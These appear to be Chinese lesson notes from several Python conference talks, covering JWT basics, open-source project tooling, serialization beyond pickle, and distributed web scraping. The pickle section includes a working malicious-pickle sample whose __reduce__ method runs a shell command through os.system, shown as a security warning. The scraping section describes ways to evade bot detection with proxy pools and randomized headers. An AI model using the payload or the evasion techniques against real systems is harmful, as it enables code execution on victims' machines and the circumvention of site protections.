- 模型审核的必要性及其目标(透明度、可重复性、知识共享)。
- MLflow的核心概念与架构,特别是其Tracking功能。
- 如何使用MLflow手动和自动地记录参数、指标、图表、模型及环境信息。
- 如何利用MLflow UI查看、比较和分析多次实验。
- 如何将MLflow系统化地整合到团队的实际模型审核工作流程中。

通过掌握这些内容,你可以开始构建一个更规范、更高效的机器学习开发环境。🚀
044:讨论 - 杰西卡·特波拉


概述
在本节课中,我们将要学习JSON Web Token(JWT)的核心概念、结构、工作原理以及如何在Python中安全地使用它。JWT是一种用于在网络应用间安全传递信息的开放标准。
自我介绍
我是杰西卡·特波拉,你可以叫我Jess。我的代词是她/她。我在ROT Zero担任高级开发者倡导者。ROT Zero是一个身份平台,旨在简化应用程序的身份验证。我还是Data Bootcamp和McKinsey Learning的讲师。我是巴西人,拥有一个关于数据科学的播客“Pizza, Judas”。我最近创建了Gitfishes项目,这是一个Git学习卡片集合。你可以在大多数社交网络上通过用户名“Justin Peral”找到我。
关于术语的说明
我来自巴西。我知道在许多非英语母语国家,人们更倾向于将JSON Web Tokens称为“JWT”。但在英语国家,你可能会听到“jot”这个发音。因此,在整个演示中,我会交替使用这两个术语。
JWT与JOSE规范
讨论JSON Web Tokens时,不能不提及创建一系列标准和规范所付出的努力,即JOSE规范。JOSE代表JSON对象签名和加密。它为处理JWT和其他网络对象提供了基础。JOSE规范的一部分是RFC 7519,通常被称为JWT规范。这将是我们今天讨论的重点。
JWT是什么?
JWT是一个标准化的字符串,代表一些信息,并根据上下文传达特定含义。它由三个词组成:
- JSON:定义了我们要传递的信息的构建格式。
- Web:指信息传递发生的网络环境,这是一个空间受限的环境。
- Token:通常是一个唯一的标识符,传达某种意义。
JWT的结构
如果你从未见过JWT,它看起来像一串随机的字符和数字。但实际上,它有一个清晰的结构。一个JWT通常包含三个部分:头部、有效载荷和签名。
头部
头部位于字符串的开头,通常包含关于令牌本身的信息,例如令牌类型、令牌ID以及用于签名令牌的算法类型。头部是一个JSON对象,会被转换为Base64编码字符串,构成令牌的第一部分。
有效载荷
有效载荷位于中间,也称为主体。它携带关于特定资源的信息。在身份验证场景中,这个资源通常是用户。有效载荷也是一个JSON对象,同样会被Base64编码。
有效载荷中的每个键值对被称为一个“声明”。声明有三种类型:
- 注册声明:这些声明来自JWT规范本身,非常重要。例如,
exp表示令牌过期时间,iss表示令牌签发者。 - 公共声明:这些声明由IANA(互联网号码分配局)标准化,旨在提供系统间的互操作性。例如,用户的名和姓有标准化的键名。
- 私有声明:这些声明可以由开发者自定义,用于携带应用程序正常运行所需的任何信息,只要保持为有效的JSON对象即可。
关于有效载荷的重要提示:
- 放入令牌的信息越多,字符串就越大,在请求中传递的数据量也越大。建议只保留相关数据。
- 因为头部和有效载荷仅是Base64编码(并非加密),所以绝对不要在令牌中放入敏感数据(如密码),因为任何人都可以轻松解码这些信息。
签名
签名是JWT最特别的部分。它需要使用头部和有效载荷(Base64编码前)、一个密钥(或密钥对)以及指定的算法来生成。签名确保了令牌的完整性和来源真实性。
唯一能够正确签署令牌的人是持有正确密钥(秘密或私钥)的人。验证方可以使用相应的密钥来验证签名,从而确认令牌在传输过程中未被篡改,并且确实来自预期的签发者。
签名算法
签名算法主要分为两种类型:
- 对称算法(如HMAC SHA256):使用同一个秘密进行签名和验证。这个秘密必须在签发方和验证方之间安全共享。
- 公式/代码表示:
签名 = HMAC-SHA256( base64UrlEncode(头部) + “.” + base64UrlEncode(有效载荷), 秘密 )
- 公式/代码表示:
- 非对称算法(如RSA, ES256):使用一对密钥:私钥用于签名,公钥用于验证。私钥必须保密,而公钥可以公开分发。这是更受推崇的方式,常用于分布式系统。
- 代码概念:
签名 = RSASSA-PKCS1-v1_5( base64UrlEncode(头部) + “.” + base64UrlEncode(有效载荷), 私钥 ) 验证 = RSASSA-PKCS1-v1_5-验证( 签名, base64UrlEncode(头部) + “.” + base64UrlEncode(有效载荷), 公钥 )
- 代码概念:
在Python中使用JWT
上一节我们介绍了JWT的理论基础,本节中我们来看看如何在Python代码中实际操作JWT。我将使用PyJWT库进行演示。
首先,你需要安装带有加密依赖的PyJWT库。
pip install PyJWT[crypto]
解码和验证令牌
假设你收到了一个JWT,并且知道用于签名的秘密和算法(例如HS256),你可以这样解码并验证它:
import jwt
# 你的JWT字符串
encoded_jwt = “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c”
# 用于验证的秘密(示例,实际应用中应使用强密码)
secret = “your-256-bit-secret”
# 解码并验证令牌
try:
decoded_payload = jwt.decode(encoded_jwt, secret, algorithms=[“HS256”])
print(decoded_payload)
# 输出类似:{‘sub’: ‘1234567890’, ‘name’: ‘John Doe’, ‘iat’: 1516239022}
except jwt.exceptions.InvalidSignatureError:
print(“签名无效!”)
except jwt.exceptions.ExpiredSignatureError:
print(“令牌已过期!”)
获取未验证的头部信息
如果你不知道令牌使用的算法,可以先获取头部信息(不进行验证):
import jwt
encoded_jwt = “你的JWT令牌字符串”
unverified_header = jwt.get_unverified_header(encoded_jwt)
print(unverified_header)
# 输出类似:{‘alg’: ‘HS256’, ‘typ’: ‘JWT’}
# 然后使用从头部获取的算法进行解码
algorithm = unverified_header[‘alg’]
decoded_payload = jwt.decode(encoded_jwt, secret, algorithms=[algorithm])
print(decoded_payload)
使用非对称算法(公钥)验证
当使用RSA等非对称算法时,你需要使用公钥来验证令牌。公钥可以从文件或已知的端点(如Auth0的/.well-known/jwks.json)获取。
import jwt
from cryptography.hazmat.primitives.serialization import load_ssh_public_key
# 从文件加载公钥(示例为SSH公钥)
with open(‘public_key.pub’, ‘rb’) as f:
public_key_data = f.read()
public_key = load_ssh_public_key(public_key_data)
# 解码并验证令牌
encoded_jwt = “你的JWT令牌字符串”
decoded_payload = jwt.decode(encoded_jwt, public_key, algorithms=[“RS256”])
print(decoded_payload)
JWT的常见用途
现在你知道了JWT的构成和工作原理,你可能会问它们通常用在什么地方。以下是两种最常见的用途:
- 访问令牌:用于访问受保护的API端点。客户端在请求中携带访问令牌,服务器验证令牌后授予对资源的访问权限。RFC 9068规范了JWT作为访问令牌的格式。
- ID令牌:在用户登录后由身份提供商(如Auth0)颁发。它包含用户的基本信息(如姓名、邮箱),前端应用可以直接从中提取用户资料,无需额外请求。
请注意:刷新令牌通常不是JWT,因此不在此讨论范围内。
安全最佳实践
了解了JWT的强大功能后,确保安全地使用它们至关重要。以下是一些关键的安全提示:
- 不要将JWT存储在本地存储中:这会使令牌暴露在跨站脚本攻击的风险之下。一旦JWT泄露,无法撤销。考虑使用内存存储或安全的HTTP-only Cookie。
- 不要在前端验证JWT:尤其是使用对称算法时,验证所需的秘密不应暴露给客户端。验证工作应在后端服务器进行。
- 不要在有效载荷中存放敏感数据:重申一遍,因为头部和有效载荷仅是Base64编码,任何能获取到令牌的人都能读取其中的内容。切勿放入密码、信用卡号等敏感信息。
有用的工具和资源
最后,我想分享一些工具和资源来帮助你更好地理解和使用JWT:

- JWT.io:由Auth0提供的在线调试器。你可以粘贴一个JWT,它会自动解码并显示头部和有效载荷的内容。这是一个学习和调试的好工具(但切勿用于生产环境的真实令牌)。
- JWT手册:我们制作了一本包含JWT示例和用例的手册,我鼓励你去阅读以获取更深入的知识。
总结

在本节课中,我们一起学习了JSON Web Token的核心知识。我们了解了JWT的三部分结构:头部、有效载荷和签名。我们探讨了对称与非对称签名算法的区别,并通过Python代码演示了如何解码和验证JWT。我们还讨论了JWT的常见用途(访问令牌和ID令牌)以及至关重要的安全最佳实践。记住,安全地处理令牌是构建可靠应用的关键。
045:开源简单模式 🛠️


在本教程中,我们将学习如何通过一系列工具和最佳实践,构建一个连贯的端到端开发者体验。这些实践旨在减少维护开源Python项目所需的总体工作量。我们将快速涵盖项目元数据、依赖管理、开发工作流程、代码质量、文档、社区贡献和项目发布等多个方面。
Python开源项目维护:1:项目元数据与依赖管理 📦
上一节我们介绍了本教程的整体目标,本节中我们来看看项目的基础部分:元数据和依赖管理。这是项目发布和分发的核心。
项目元数据
项目元数据是发布包到PyPI的核心要求。结构良好且标准化的元数据能让开发工具更好地理解我们的项目。传统方法使用setup.py,但这本质上是需要执行的任意代码,缺乏标准化。
更好的方法是使用一个明确定义的、不涉及执行他人代码的格式。Python社区已经批准了pyproject.toml标准。该文件位于项目根目录,是项目元数据和开发工具配置的中心。
pyproject.toml最初的标准集中在构建后端的选择上。PEP 517和518定义了构建系统表,包管理器可以使用它来安装偏好的构建后端并构建包。
[build-system]
requires = ["flit_core>=3.2"]
build-backend = "flit_core.buildapi"
如今,根据PEP 621,pyproject.toml还可以包含标准化的项目元数据。这种新格式位于文件的顶层[project]表中,包含了所有基本的包信息。
[project]
name = "my-awesome-package"
version = "1.0.0"
description = "A package for doing awesome things"
requires-python = ">=3.8"
dependencies = [
"requests>=2.25.0",
"click>=7.1.0",
]
依赖管理
仅仅列出依赖项通常不够,这可能导致用户因版本或平台问题而报告错误。因此,我们需要更好地定义依赖关系。
软件会变化,包会获得新功能或进行破坏性更改。我们可以对依赖项设置版本限制,以确保包管理器安装兼容版本。
- 固定版本:
dependency == 1.2.3。这能保证兼容性,但对用户不便,特别是当其他包需要不同版本时。 - 宽松限制:
dependency >= 1.0.0, < 2.0.0。这允许用户使用旧版本,但可能暴露于安全风险。 - 面向未来的限制:
dependency >= 1.2.0。我们只指定下限,相信依赖项不会突然破坏兼容性。这使用户能升级到更安全的版本,也意味着我们无需在依赖项每次更新时都发布新版本。
我们还可以为依赖项添加环境标记,以支持特定平台或Python版本。
[project]
dependencies = [
"pywin32 >= 1.0; sys_platform == 'win32'",
]
验证依赖限制
设置了版本限制后,我们需要验证它们是否正确。我们需要在每个允许的版本上进行测试。工具pessimist可以解决这个问题。它会查看项目依赖关系,并对所有匹配版本运行测试,然后生成报告。
pessimist --quick # 快速模式,仅测试最旧和最新版本
Python开源项目维护:2:构建可重现的开发工作流程 🔄
上一节我们确保了项目元数据和依赖的可靠性,本节中我们来看看如何构建一个可重现的开发工作流程。这能简化开发、测试过程,并让新开发者更容易上手。
仅仅拥有一份命令列表没有帮助,我们需要一个专用的命令运行器来组合所有构建和测试步骤。虽然make可以满足基本需求,但它对Python项目了解不足。
理想情况下,我们希望工具能为我们设置虚拟环境和安装依赖项,并能通过单个命令在多个Python版本上运行。Tox和Nox是常见的选择。这里介绍一个名为thx(Thaxx)的新工具,它专注于优化Python项目的开发工作流程。
thx完全在pyproject.toml中配置。定义作业非常简单:
[tool.thx.jobs]
test = "pytest"
lint = "flake8 src/"
format = "black --check src/"
[tool.thx.default]
jobs = ["lint", "format", "test"]
运行thx时,它会在虚拟环境中执行默认作业。如果作业失败,会给出清晰的错误输出。
多版本支持与并行执行
thx支持在多个Python版本上运行工作流程。只需指定版本列表,thx会为每个版本创建独立的虚拟环境并并行运行作业。
[tool.thx]
pythons = ["3.8", "3.9", "3.10", "3.11"]
对于某些作业(如代码格式化),只需运行一次。可以将其标记为once = true。对于复杂的多步骤作业,可以定义步骤列表并按顺序运行。如果步骤间无依赖,可以标记为parallel = true以实现并行执行,充分利用多核系统。
监视模式
thx还有一个监视模式,可以监听文件变化并在每次修改后自动重新运行任务,为开发提供即时反馈。
Python开源项目维护:3:提升代码质量 ✨
现在我们有了构建工作流程的工具,本节中我们来看看如何提升代码质量。更好的代码意味着项目更可靠、更易于阅读和维护。
代码风格与格式化
代码风格的一致性至关重要。选择一个代码格式化工具(如black)并使其自动化。black具有强大的安全保证,配置简单,能结束所有风格争论。
[tool.black]
line-length = 88
target-version = ['py38']
导入排序
除了代码风格,导入语句的排序也很重要。工具usort可以安全地自动排序导入,它能理解语法树,并将导入语句分组(标准库、第三方、第一方)。
# 排序前
import sys
from myapp import something
import os
from third_party import library
# 排序后
import os
import sys
from third_party import library
from myapp import something
usort会将干预语句(如函数调用)视为障碍,确保导入移动的安全性。
组合工具:uformat
单独运行多个格式化工具容易导致冲突。uformat是一个组合工具,它在内存中将black格式化和usort排序作为一个原子步骤执行,保证了结果的一致性。
使用 Linter 发现潜在问题
Linter 可以帮助发现代码中的潜在错误和不良实践。flake8是一个优秀的选择,它易于配置并有丰富的插件生态。
建议关闭与代码风格相关的 lint 错误,让格式化工具负责风格,让 linter 专注于发现逻辑问题。
静态类型检查
类型检查器(如mypy)能进行更深入的分析,确保值在代码库中正确传递和使用。添加类型注解不仅能帮助发现错误,还能作为优秀的验证文档。
# 无类型注解
def get_user(id):
...
# 有类型注解
from typing import Optional
def get_user(id: int) -> Optional[User]:
...
对于开源项目,建议使用mypy。如果愿意全面注解,可以启用严格模式以发现更多问题。
Python开源项目维护:4:文档与社区互动 📖
上一节我们讨论了提升代码质量的工具,本节中我们来看看如何维护项目文档并简化社区互动流程。
自动化文档生成
清晰的文档至关重要。Sphinx是专为Python设计的文档生成工具,它能将一组源文档编译成完整的网站。Sphinx使用reStructuredText格式,并支持自动从源代码中提取API文档(包括文档字符串和类型信息)。
通过autodoc扩展,我们可以轻松地将代码中的文档集成到生成的网站中。
.. automodule:: mymodule
:members:
文档托管
Read the Docs是一个优秀的免费服务,用于构建和托管项目文档。它与GitHub集成良好,支持在每次代码推送或创建拉取请求时自动构建文档。
设定社区期望
积极的社区互动需要明确的期望。
- 行为准则:制定并执行行为准则(如Contributor Covenant),以应对不当行为。
- 贡献指南:明确说明接受何种贡献(如仅错误修复、功能请求),以及贡献前是否需要先开issue讨论。
- 管理时间:明确你的支持级别,不要过度承诺。你的时间属于你自己。
简化贡献流程
降低贡献门槛能获得更高质量的贡献。
- 贡献者指南:详细说明如何设置环境、运行测试、代码风格要求等。
- 可重复的工作流程:确保贡献者使用与你相同的开发工作流程。
- Issue和PR模板:使用模板引导用户提供必要信息(如复现步骤、环境详情)。
- 持续集成:使用CI(如GitHub Actions)自动测试贡献,在多个系统和Python版本上运行,并直接提供反馈。
Python开源项目维护:5:项目发布与总结 🚀
上一节我们探讨了如何培育社区,本节中我们来看看项目发布的最后一步,并对本教程进行总结。
版本管理
选择并坚持一个版本号方案(如语义化版本semver或基于日历的版本),并清晰地传达你的版本计划。一致性是关键。
自动化发布流程
发布过程应该尽可能自动化、可重复。
- 基于标签:发布应基于版本控制中的标签。
- 变更日志:使用工具(如
attribution)自动生成变更日志。 - 构建分发版:需要构建两种主要分发格式:
- Wheel:二进制分发,安装快速,但特定于平台和Python版本。
- 源分发:可在任何地方重建,是最后的保障。
- CI辅助构建:利用
cibuildwheel等项目在CI中自动化构建支持多平台/版本的wheel。
总结
在本教程中,我们一起学习了构建和维护一个健康Python开源项目的完整生命周期:
- 使用
pyproject.toml管理标准化的项目元数据和依赖,并通过工具验证依赖限制。 - 利用
thx等工具创建可重现、高效且支持多版本的开发工作流程。 - 通过
black、usort/uformat、flake8和mypy等工具自动化提升代码质量和可靠性。 - 使用
Sphinx和Read the Docs自动化生成和托管项目文档。 - 通过明确的准则、详细的贡献指南和CI/CD管道来培育社区并简化贡献流程。
- 制定清晰的版本策略并自动化发布流程。


记住,这是你的项目和生活。运用这些工具和最佳实践的目的是为了减少维护负担,让你能更专注于创造价值,并享受开源的乐趣。祝你编码愉快!
046:超越pickle 🐍


在本节课中,我们将学习Python中的序列化技术,重点探讨标准库pickle之外的各种方案。我们将了解什么是序列化、为何需要它,并比较不同序列化工具的优缺点、性能及安全性,帮助你为不同的应用场景选择最合适的工具。
概述:什么是序列化?
序列化是将数据结构或对象状态转换为可以存储(例如存入文件)或传输(例如通过网络发送)的格式的过程。这个过程产生的通常是字节流。反序列化则是其逆过程,即从存储格式中重建数据或对象。
序列化格式主要分为两类:
- 明文格式:如JSON、XML,人类可直接阅读。
- 二进制格式:如pickle、MessagePack,更紧凑高效,但不可直接阅读。
本节我们将主要探讨二进制序列化。
为何需要序列化?
序列化在多种场景下至关重要,以下是一些常见原因:
- 保存复杂计算结果:例如,保存训练耗时数小时的机器学习模型,避免重复训练。
- 共享中间数据:与同事共享已经过复杂查询和处理的中间数据对象。
- 跨进程/网络通信:在不同服务或程序间传输数据时,必须将数据转换为字节流。
为了具体说明,我们将使用一个示例。假设我们通过eBird API获取了犹他州最近的鸟类观测数据,并构建了一个BirdCounter类来处理这些数据。
# 示例:BirdCounter 类
class BirdCounter:
def __init__(self):
# 假设从API获取了数据
self.variety = [“Woodhouse‘s Scrub Jay“, “American Robin“, ...] # 鸟类名称列表
self.locations = [(40.5, -111.8), (40.6, -111.9), ...] # 经纬度元组列表
def get_birds(self):
return len(self.variety)
# 实例化对象
b = BirdCounter()
print(f“鸟类数量: {b.get_birds()}“)
print(f“第一只鸟: {b.variety[0]}“)
实例化并处理这个对象可能很快,但如果数据来自耗时数小时的数据库查询,那么序列化结果就非常有必要。
Python标准库:Pickle
pickle是Python内置的序列化模块,非常易于使用。
如何使用Pickle
序列化(保存)对象到文件:
import pickle
with open(‘bird.pickle‘, ‘wb‘) as f: # 注意‘wb‘表示写入二进制
pickle.dump(b, f)
反序列化(加载)对象:
with open(‘bird.pickle‘, ‘rb‘) as f: # ‘rb‘表示读取二进制
loaded_b = pickle.load(f)
print(loaded_b.get_birds()) # 应输出与原对象相同的结果
Pickle的优点与局限
上一节我们介绍了pickle的基本用法,本节中我们来看看它的优缺点。
优点:
- 内置标准库:无需安装额外依赖。
- 无需预定义模式:可以直接序列化大多数Python对象。
- 文档完善:官方文档详细说明了可序列化的类型和安全注意事项。
局限与注意事项:
- 安全性风险:
pickle在反序列化时会执行字节码,如果加载了不受信任的来源,可能导致任意代码执行。永远不要反序列化来自不可信来源的数据。 - Python专属:序列化的数据通常只能被Python读取,缺乏跨语言互操作性。
- 依赖类定义:反序列化时,Python环境中必须存在该对象的类定义。例如,将
BirdCounter对象的pickle文件发给同事,同事的代码中也必须有BirdCounter类的定义才能成功加载,否则会抛出AttributeError。
基于Pickle的扩展工具
了解pickle的核心局限后,我们来看看在其基础上构建的一些有用工具。
shelve:一个简单的键值存储,使用字符串作为键,值可以是任何可pickle的对象。import shelve with shelve.open(‘birds_db‘) as db: db[‘2023-10-27_utah‘] = b # 存储对象 loaded_b = db[‘2023-10-27_utah‘] # 读取对象joblib:特别针对包含大型NumPy数组的对象(如scikit-learn模型)进行了优化,是保存机器学习模型的推荐工具之一。from joblib import dump, load dump(b, ‘bird.joblib‘) loaded_b = load(‘bird.joblib‘)
超越Pickle:其他序列化方案
由于pickle存在安全性和互操作性限制,社区开发了许多替代方案。
1. Dill:增强的Pickle
dill扩展了pickle的功能,可以序列化更广泛的对象类型(如函数、lambda表达式、整个解释器状态)。

核心优势:解决了pickle需要类定义的问题。使用dill序列化的对象,在反序列化时不需要预先知道类结构。

import dill
# 序列化
with open(‘bird.dill‘, ‘wb‘) as f:
dill.dump(b, f)
# 在另一个完全独立的环境中反序列化
with open(‘bird.dill‘, ‘rb‘) as f:
loaded_b = dill.load(f) # 无需预先定义BirdCounter类
权衡:这种便利性可能带来性能开销,并且同样存在安全风险。
2. MessagePack:高效的二进制格式
MessagePack是一种快速、紧凑的二进制序列化格式,设计目标是比JSON更小更快。
重要区别:MessagePack通常序列化的是对象的属性字典,而不是整个对象实例。因此,反序列化后需要手动用这些属性重新构建对象。
import msgpack
# 序列化属性
data = {‘variety‘: b.variety, ‘locations‘: b.locations}
packed = msgpack.packb(data)
# 传输或存储 packed 数据...
# 反序列化
unpacked_data = msgpack.unpackb(packed)
# 重新构建对象(需要类定义)
new_b = BirdCounter()
new_b.variety = unpacked_data[‘variety‘]
new_b.locations = unpacked_data[‘locations‘]
3. 使用模式(Schema)的序列化
之前的工具都侧重于“如何打包数据”。另一类工具则强调“数据是什么”,即需要预先定义数据的结构(模式)。
模式(Schema):明确描述数据包含哪些字段及其类型的定义。

Marshmallow:Python对象与简单数据格式的桥梁

marshmallow是一个流行的库,用于将复杂的Python数据类型与简单数据类型(如字典、JSON)相互转换。
以下是使用marshmallow的步骤:
首先,定义一个模式来描述我们的BirdCounter数据:
from marshmallow import Schema, fields, post_load
class BirdCounterSchema(Schema):
# 定义字段类型
variety = fields.List(fields.Str())
locations = fields.List(fields.List(fields.Float()))
# 指定如何用加载的数据创建对象
@post_load
def make_birdcounter(self, data, **kwargs):
return BirdCounter(**data)
然后,使用这个模式进行序列化和反序列化:
# 序列化为JSON
schema = BirdCounterSchema()
json_data = schema.dumps(b) # 生成JSON字符串
# 反序列化(需要模式定义和类定义)
loaded_b = schema.loads(json_data)
优点:通过模式,可以进行强大的数据验证、过滤和版本控制。输出是人类可读的JSON,具有跨语言互操作性。
缺点:需要额外维护模式定义,并且序列化/反序列化过程涉及更多步骤。
Avro / Protocol Buffers:工业级解决方案
Avro和Protocol Buffers是更重量级、用于高性能RPC和持久化存储的序列化系统。它们要求使用独立的模式定义文件(.avsc 或 .proto),并将模式编译为特定语言的代码。
核心价值:
- 极高的效率和紧凑性。
- 强大的模式演进和版本控制能力,允许前后兼容的架构变更,非常适合长期演进的服务端API。
由于它们较为复杂,通常需要专门的教程来学习。
性能与特性比较
了解各种工具后,我们来简单比较它们的性能和一些关键特性。请注意,实际性能高度依赖于数据的具体形状。
我们对同一个BirdCounter对象进行测试:
| 格式 | 序列化时间 | 文件大小 | 需要类定义 | 跨语言 | 安全性 |
|---|---|---|---|---|---|
| Pickle | 非常快 | 小 | 是 | 否 | 低(有风险) |
| Dill | 较慢 | 中等 | 否 | 否 | 低(有风险) |
| MessagePack | 快 | 小 | 是(用于重建) | 是 | 高(仅数据) |
| Marshmallow (JSON) | 中等 | 大(含键名) | 是(用于重建) | 是 | 高(仅数据) |
| Avro/Protobuf | 非常快 | 非常小 | 是(通过生成代码) | 是 | 高(仅数据) |
关于安全性的说明:pickle和dill因为反序列化时可能执行代码,所以风险高。其他格式(MessagePack, JSON, Avro等)通常只处理纯数据,因此更安全。
安全警告:Pickle的潜在危险
我们必须单独强调pickle的安全问题。恶意构造的pickle数据可以在反序列化时执行任意代码。
示例:
import pickle
import os
class MaliciousBird:
def __reduce__(self):
# 此方法在反序列化时被调用,返回可执行对象和参数
return (os.system, (‘echo “危险!命令已执行“ && calc.exe‘, ))
# 创建恶意pickle
malicious_data = pickle.dumps(MaliciousBird())
# 如果受害者加载了这个数据
pickle.loads(malicious_data) # 这将执行系统命令!
重要:绝对不要加载来自不信任来源的pickle文件。
总结与选择建议

本节课中,我们一起学习了Python中序列化的多种方法。


pickle:简单易用,适合临时存储Python内部数据,但切勿用于不受信任的数据。dill:功能更强,可序列化几乎任何Python对象,适合需要保存完整执行状态的场景,但同样存在安全风险。MessagePack:追求速度和空间效率的二进制格式,适合性能敏感且需要一定跨语言能力的场景。Marshmallow:适合需要数据验证、生成人类可读格式(如JSON)并与其他系统交互的场景。Avro/Protocol Buffers:适合大型、长期的项目,需要严格的模式定义、卓越的性能和强大的版本控制能力。
如何选择?
- 问安全性:数据来源是否可信?不可信则排除
pickle/dill。 - 问互操作性:是否需要被非Python程序读取?需要则选择JSON、MessagePack或Avro/Protobuf。
- 问复杂度:数据结构是否简单稳定?简单临时数据用
pickle;复杂且需演进的数据用带模式的工具。 - 问性能:是否对序列化速度或数据大小极度敏感?进行基准测试,通常二进制格式(MessagePack, Protobuf)更优。
序列化格式的选择是一项重要的设计决策,会影响应用程序的安全性、性能和可维护性。理解每种工具的特性和适用场景,才能为你的项目做出最佳选择。
047:演讲 - Josh Weissbock

概述
在本教程中,我们将学习如何使用Python进行分布式网络抓取。我们将探讨从简单的单脚本抓取到构建分布式系统的完整旅程,涵盖其动机、架构、实现细节以及相关的最佳实践和工具。
什么是网络抓取与分布式网络抓取?
网络抓取是从网站提取数据的行为。你获取信息,进行处理并存储。
分布式网络抓取是将这项工作分散到大量计算机上执行。这通常意味着我们需要处理海量数据,例如一次性请求约25,000个网页。
上一节我们定义了基本概念,本节中我们来看看构建分布式抓取器的典型心理模型。
典型的分布式抓取架构包含以下核心组件:
- 主控制器/消费者:负责生成抓取任务(作业)。
- 多个工作节点:接收并执行抓取任务。
- 工作队列:控制器将任务发送至此队列。
- 结果队列:节点完成任务后,将结果发送至此队列。
控制器从结果队列中取出数据,进行最终处理和存储。
我的网络抓取演进之旅

为了理解为何需要分布式抓取,我们先回顾一下抓取方法的演进过程。假设我们的目标是构建一个类似Goodreads的应用,需要从亚马逊抓取大量书籍数据(如书名、作者、价格等)。

第一阶段:简单脚本
如果你曾跟随Python网络抓取教程学习,很可能从这里开始。你编写一个脚本,请求单个网页资源,然后存储结果。
Python通过requests库或urllib让这变得非常简单。然后你可以使用BeautifulSoup或lxml等工具解析页面,并将数据存储到CSV文件或数据库中。
代码示例:简单请求
import requests
from bs4 import BeautifulSoup
url = ‘https://example.com/book/123‘
response = requests.get(url)
soup = BeautifulSoup(response.content, ‘html.parser‘)
# 提取并存储数据...
这种方法适用于单次抓取,但无法应对大规模任务。
第二阶段:迭代抓取
当需要抓取大量页面(例如25,000本书)时,我们会转向迭代方法。抓取过程分为两个阶段:
- 收集所有需要抓取的页面URL(通过搜索或索引页)。
- 循环遍历每个URL,重复执行第一阶段的抓取操作。
然而,处理大规模数据时,问题迅速出现:
- 速度极慢:网络延迟导致大量空闲时间。
- 机器人检测:网站会识别出重复、快速的请求并封禁IP。
- 缺乏容错:网络请求失败会导致脚本中断,需要从头开始。
- 无法处理动态内容:现代网站大量使用JavaScript动态生成内容,简单的
requests无法获取。
第三阶段:引入高级改进
为了解决上述问题,我引入了一系列中间改进措施:
以下是引入的关键改进点列表:
- 使用代理池:通过不同IP发送请求,模拟真实用户分布。
- 添加随机请求头:使每次请求看起来像是来自不同的浏览器和设备。
- 添加随机延迟:在请求间设置不固定的间隔,避免请求模式被识别。
- 使用Selenium:解决JavaScript动态渲染问题,它能驱动真实浏览器。
- 实现重试机制:包装请求函数,在网络失败时自动重试数次。
- 添加进度跟踪:记录哪些URL已成功抓取,便于中断后恢复。
尽管这些改进提升了抓取成功率,但也带来了新问题:速度更慢、资源利用率低(例如代理经常闲置)、进度管理和重启机制依然脆弱。这些痛点最终促使我转向分布式抓取。
分布式网络抓取架构详解
上一节我们看到了单机抓取的局限性,本节我们来深入探讨分布式抓取器的具体架构和工作流程。
分布式抓取器的核心目标是解决之前的所有问题:实现并行抓取、提高速度、保证数据完整性并优化资源利用。


其工作流程可以详细分解为以下三个阶段:
1. 控制器阶段
控制器执行初始任务,即生成需要抓取的URL列表。它通过遍历搜索页、索引页或使用站点地图来创建任务列表,并将每个任务(URL)发布到工作队列中。队列工具能帮助去重,确保同一URL不会被多次加入。
2. 抓取节点阶段
抓取节点是之前单机抓取脚本的分布式版本。每个节点独立地从工作队列中领取一个URL任务,然后利用我们之前讨论的技术(代理、随机头、Selenium、重试机制等)执行实际的网页请求、解析和数据提取工作。完成抓取后,节点将结果发送到结果队列。
3. 结果处理阶段
控制器(或另一个专门的消费者)监听结果队列,取出抓取节点返回的数据,进行最终的清洗、验证,并存储到数据库或文件系统中。这个队列也帮助我们跟踪整体抓取进度。
引入队列和多个节点带来了关键优势:
- 动态扩展:可以随时增加或减少抓取节点数量,以调整抓取速度。
- 容错性:单个节点故障不会导致任务丢失,队列中的任务会被其他节点领取。
- 进度持久化:通过队列状态,可以清晰了解哪些任务待处理、哪些已完成。
在我个人的实践中,将抓取约15,000个页面的任务从单机的约26小时,通过使用8-10个节点的分布式系统,缩短到了4-5小时。
当然,分布式系统也有缺点:硬件成本增加、代码复杂度提高,并且需要假设系统内部是可信的(节点和队列间通信安全)。
关键技术与管理实践
在构建分布式抓取器时,有几个技术和管理层面的要点需要特别关注。
队列与消息代理
队列是分布式抓取的核心协调器。它们管理任务调度、确保可靠交付(通过ACK确认机制),并允许节点间通过消息(通常封装为JSON格式)进行通信。
常用的消息代理包括RabbitMQ和Redis。在工作中我也大量使用Kafka。Python有优秀的库来操作这些队列,例如pika(用于RabbitMQ)。
节点代码管理
如何确保所有抓取节点运行最新、正确的代码是一个挑战。网页结构变化或数据异常都可能导致节点崩溃。
以下是几种代码管理策略:
- 版本控制系统钩子:节点启动时自动从Git等仓库拉取最新代码。
- 容器化:使用Docker等工具打包和部署一致的环境。
- 预构建镜像:在云平台上创建包含最新代码的系统镜像,并基于此镜像批量部署节点。
- 无服务器计算:考虑使用AWS Lambda等,但需注意其运行时长限制可能不适合长时间抓取任务。
有用的Python工具包
除了经典的requests, BeautifulSoup, Selenium,以下工具包能极大提升开发效率和抓取健壮性:
以下是推荐的Python工具包列表:
- Click:轻松为脚本创建命令行接口。
- retry / backoff:为可能失败的函数(如网络请求)自动添加重试和指数退避机制。
- requests-cache:在开发阶段缓存HTTP响应,避免重复请求同一页面,加速调试。
- fake-useragent:提供基于真实浏览器使用统计的随机User-Agent字符串,比完全随机生成更具隐蔽性。
运维与监控
对于生产级抓取系统,自动化与监控至关重要。
- 全面自动化:利用云服务API(AWS, Azure等)自动化节点的创建、部署和销毁。
- 设置警报:通过短信、邮件或Slack等渠道,实时接收抓取失败、被封禁或完成的通知。
- 日志与追踪:记录详细的日志,以便在出现问题时进行调试。
总结
在本教程中,我们一起学习了Python分布式网络抓取的完整路径。
我们从网络抓取的基本定义出发,理解了从单一网站提取数据的行为。随后,我们回顾了抓取技术的演进历程:从简单的单脚本抓取,到应对大规模数据时引入代理、随机延迟、Selenium和重试机制的迭代改进,最终因效率和管理问题导向分布式解决方案。
我们深入探讨了分布式网络抓取的架构,其核心是通过工作队列和结果队列协调多个抓取节点,实现任务的并行处理、动态扩展和容错恢复。这种架构能显著提升抓取速度与数据保真度。
最后,我们介绍了构建和维护分布式抓取系统的关键技术与管理实践,包括队列的选择、节点代码的部署策略、一系列实用的Python工具包,以及自动化监控的重要性。

